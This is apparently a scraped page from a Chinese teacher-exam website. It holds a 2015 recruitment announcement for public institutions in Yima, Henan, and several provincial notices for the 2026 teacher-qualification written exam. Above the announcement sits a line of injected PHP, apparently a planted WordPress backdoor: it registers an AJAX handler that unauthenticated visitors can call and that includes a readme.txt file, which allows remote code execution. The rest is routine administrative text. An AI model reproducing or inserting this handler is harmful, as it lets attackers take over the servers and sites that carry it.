if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
河南省义马市事业单位2015年教师招聘公告-全国教师资格考试网

河南省义马市事业单位2015年教师招聘公告

  为认真落实“崤函人才计划”,进一步改善我市事业单位工作人员队伍结构,不断满足事业单位发展的工作需要,义马市委、市政府同意,义马市部分事业单位面向社会公开招聘工作人员63名(其中教师10名、医务人员10名、市直事业单位43名)。根据《事业单位公开招聘人员暂行规定》(人事部令第6号)和《中共三门峡市委组织部、三门峡市人力资源和社会保障局关于印发<事业单位公开招聘工作人员实施办法(试行)>的通知》(三人社事业〔2012〕18号)等文件规定,特制定本实施方案。
一、招聘岗位、人数
详见《2015年义马市事业单位公开招聘计划一览表》(附件1)。
二、招聘范围
凡符合本次公开招聘岗位所需专业、学历、年龄等资格条件的人员,均可报名。
三、招聘条件
(一)应聘人员应具备以下基本条件
1.遵纪守法,品行端正,有良好的职业道德,并具有正常履行岗位职责必备的身体条件;
2.具有招聘岗位的学历、专业要求及所需的其他资格条件;
3.本方案中年龄、户籍、基层服务年限等有时间规定的,截止2015年7月8日符合该项条件;
4、各岗位所需其他资格条件。
(二)凡有下列情况之一的不得报考
1.尚未解除纪律处分或者正在接受纪律审查的人员、刑事处罚期限未满或者涉嫌违法犯罪正在接受调查的人员;
2.义马市机关、事业单位在册在编正式人员;
3.义马市合同期内的特岗教师、服务期内的“三支一扶”学生。
4.其他不符合报考资格条件的。
四、招聘工作程序
(一)公布招聘信息 。分别在三门峡市人力资源和社会保障局网站(www.hnsmx.hrss.gov.cn)、义马市人民政府网站(www. yima.gov.cn)发布招聘信息,发布时间不少于7个工作日。
(二)报名和资格审查
本次公开招聘现场报名、资格审查、现场采集个人图像。由义马市人社局会同教育、卫生等部门共同组织实施。
1.报名时间:2015年7月6日–2015年7月8日(上午8:00–11:00,下午15:00–18:00)
2.报名地点:义马市人力资源和社会保障局综合服务大厅(义马市千秋路与鸿庆路交叉口东侧)
3.报名者按照招聘公告公布的岗位及要求报名(报名表见附件2)。报名时须携带打印完整的报名表一式两份、本人近期同版正面免冠一寸彩照2张,现场采集个人图像。
现场报名须提供本人有效身份证、毕业证(应届毕业生需提供毕业院校出具的学历及专业证明,考核阶段必须提供学历认证报告)、其他相关证明材料原件及复印件1份;留学回国人员报名时还须提供我国驻外使(领)馆教育文化处(组)出具的留学回国人员证明和教育部出具的国外学历学位认证书原件及复印件1份。在职人员须同时出具所在单位或主管部门同意报考证明。
4.每个报考者限报一个岗位。各拟聘用岗位的报名人数与拟聘用人数的比例不低于3:1,报名结束后达不到比例的岗位,相应核减招聘计划,直至取消该岗位(取消岗位信息在义马市人民政府网站公布)。对取消岗位的报名者可在报名结束后2日内到义马市人力资源和社会保障局重新选报其他岗位;属于特殊岗位或急缺人才,报上级批准后,可降低比例或核减招聘计划后开考。
5.根据相关政策对符合报名条件的人员,有下列情形的笔试成绩加10分(同时符合的不再重复加分):
具有义马市户籍:①退役士兵;②参加“志愿服务西部计划”、“志愿服务贫困县计划”、“三支一扶”高校毕业生计划、“农村义务教育阶段特岗教师计划”服务期满考核合格的;③参加“大学生村干部计划”在村服务满两年且考核合格的。
凡拟享受加分政策的报名者须提供相关证件、证明材料,具体为:退役士兵须提供户籍证明、退伍证原件及复印件2份;参加“志愿服务西部计划”、“志愿服务贫困县计划”、“三支一扶计划”、“农村义务教育阶段特岗教师计划”的大学生须提供服务期满考核合格相应证书原件及复印件2份;大学生村干部须提供县级以上组织部门出具的证明材料。拟享受加分政策的报名者,需于7月9日—10日工作时间到义马市人力资源和社会保障局事业单位人事管理科(义马市政府办公楼1楼东)进一步确认加分资格。
经义马市公开招聘事业单位工作领导小组办公室审核,将拟加分人员情况向社会公示,如发现弄虚作假等情况,取消其考试及聘用资格,并在5年内不准参加我市事业单位公开招聘考试。
根据有关规定,笔试考务费为每科每人30元,考试两科共计60元。农村绝对贫困家庭和享受国家最低生活保障金城镇家庭人员报考的,可免交笔试考务费。拟免交笔试考务费的报名者应提交以下材料:农村绝对贫困家庭的报名者,提交其家庭所在地的县(市、区)扶贫办出具的特困证明和特困家庭基本情况档案卡及复印件;享受国家最低生活保障金城镇家庭的报名者,提交其家庭所在地的县(市、区)民政部门出具的享受最低生活保障的证明和低保证及复印件。
7.通过资格初审的报名者应于笔试前一天持身份证和笔试考务费收据到义马市人力资源和社会保障局综合服务大厅领取《笔试准考证》。逾期不领者,视为自动放弃。
8.资格审查工作贯穿于公开招聘工作的全过程。凡发现不符合规定条件的应聘者,随时取消应聘者的资格,不予退还笔试考务费用。
(三)考试
考试采取笔试加面试的方式进行,由义马市委组织部、义马市人力资源和社会保障局会同教育、卫生等部门共同组织实施。本次考试不指定考试用书,不举办也不委托任何机构举办考试辅导培训班。
1.笔试:(实行闭卷考试)
笔试时间:2015年7月25日
笔试地点:见《笔试准考证》。报名者须凭笔试准考证、有效身份证入场考试。
笔试内容(两科):分公共科目和专业科目。每科考试时间100分钟,满分100分。
(1)公共科目:《公共基础知识》。
公共基础知识包括马克思主义哲学、中国特色社会主义理论、法律、行政管理、时事政治、公文写作与处理、十八大报告、十八届三中、四中全会精神等相关知识。
(2)专业科目:《医学基础知识》、《教育基础知识》、《职业能力测试》。
报考卫生专技岗位的考生笔试《医学基础知识》。内容包括解剖学、生理学、病理学、药理学、卫生法规等相关知识。
报考教师岗位的考生笔试《教育基础知识》。内容包括教育学(中学)、心理学(中学)、教育政策法规、教师职业道德、教育教学基础知识等相关内容。
报考管理岗位的考生笔试《职业能力测试》。内容包括数量关系、言语理解与表达、判断推理、常识判断等相关内容。
笔试成绩=公共科目成绩×50%+专业科目成绩×50%+加分。
2.面试:根据笔试成绩,按拟聘人数1:3的比例从高分到低分确定参加面试人员。如遇末位名次并列的,可同时参加面试。面试原始成绩当场公布,满分100分。
面试时间和地点:具体见《面试通知单》。
报考教师岗位的考生,面试采用说课方式进行,面试内容为所报岗位现行教材,主要测试应试者的业务知识、教育教学技能等。
报考其他岗位的考生均采用结构化面试进行,主要测试应试者的综合分析能力、应变能力、逻辑思维及语言表达能力等。
因实际参加面试人数达不到规定面试比例且形不成竞争的岗位,应组织现有人员面试。应试者面试成绩须达到本面试考官组面试所有人员的平均分,方可进入体检和考核。
报考同一岗位分设不同考场进行面试时,面试成绩采取加权平均法计算。考生最终的面试成绩=原始成绩×加权系数(加权系数=报考同一岗位全部面试考生原始成绩平均值÷考生所在考场的全部考生面试原始成绩平均值,加权系数按照四舍五入的办法保留到小数点后四位)。
3.考试总成绩
总成绩计算为:考试总成绩=笔试成绩×50% + 面试成绩×50%。笔试成绩、面试成绩、总成绩按四舍五入的办法保留到小数点后两位,在义马市人民政府网站(www. yima.gov.cn)公布。
(四)体检
按照所报岗位招聘名额,根据考试总成绩,从高分到低分等额确定体检人员。如同一个岗位末位出现应试者考试总成绩相同的情况,则按面试成绩从高分到低分等额确定参加体检人员,若面试成绩也相同的,则按照《公共基础知识》的成绩从高分到低分等额确定参加体检人员。体检由义马市公开招聘事业单位工作人员领导小组具体组织实施。
体检在县级以上综合性医院进行;报考教师岗位的体检项目、体检标准按照《河南省教师资格申请人员体格检查标准及办法(试行)》执行。报考其他岗位的考生体检标准参照《公务员录用体检通用标准(试行)》执行,体检费用自理。
时间、地点另行通知。
(五)考核
体检合格人员确定为考核对象,考核由义马市人社局和招聘单位主管部门共同组织实施。
考核内容主要包括:应聘者的遵纪守法、计划生育状况、思想政治表现、道德品质、业务能力和工作或学习表现等方面,并对应聘者的资格进行复查。
如因体检、考核和资格复查以及因自动放弃等原因而出现缺额的,应在同一岗位报名者中按考试总成绩从高分到低分依次递补。考试总成绩相同的则按确定体检人员办法进行递补。
五、公示和聘用
考核合格的确定为拟聘用人员。拟聘用人员名单在义马市人民政府网站(www. yima.gov.cn)公示,公示期不少于7个工作日。
公示结束后,经公示无异议的拟聘用人员,由主管部门填写《义马市事业单位拟聘用人员名册表》,报义马市人社局审核后,办理相关手续。聘用单位和拟聘用人员签订《河南省事业单位聘用合同》,合同期限为6年,享受国家规定的工资福利待遇,并按规定实行试用期制度,试用期一年,试用期包括在聘用合同期限内。试用期满考核合格的,予以正式聘用,合同期内不得调动。
如有以下情况的取消聘用资格:
1、考核不合格的,取消聘用资格。
2、被聘用者未按规定时间报到的,取消聘用资格。
六、纪律与监督
事业单位公开招聘工作坚持“公开、平等、竞争、择优”的原则,自觉接受社会监督,同时邀请市纪检监察部门全程参与。对单位和个人违反招聘纪律一经查实的,按国家、省、市关于事业单位公开招聘工作纪律与监督的有关规定处理。为方便群众和社会监督,杜绝不正之风,特设监督举报电话:义马市纪检委0398-5832320。
七、本方案由义马市人力资源和社会保障局负责解释
本次公开招聘工作确定义马市人民政府网站(www. yima.gov.cn)作为招聘专用网站,公开招聘的报名、笔试、面试、体检、考核和聘用等有关事宜均在该网站公布或公示,请报考人员及时登陆查阅有关信息。
咨询电话: 义马市人力资源和社会保障局事业单位人事管理科:0398-2200236
 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部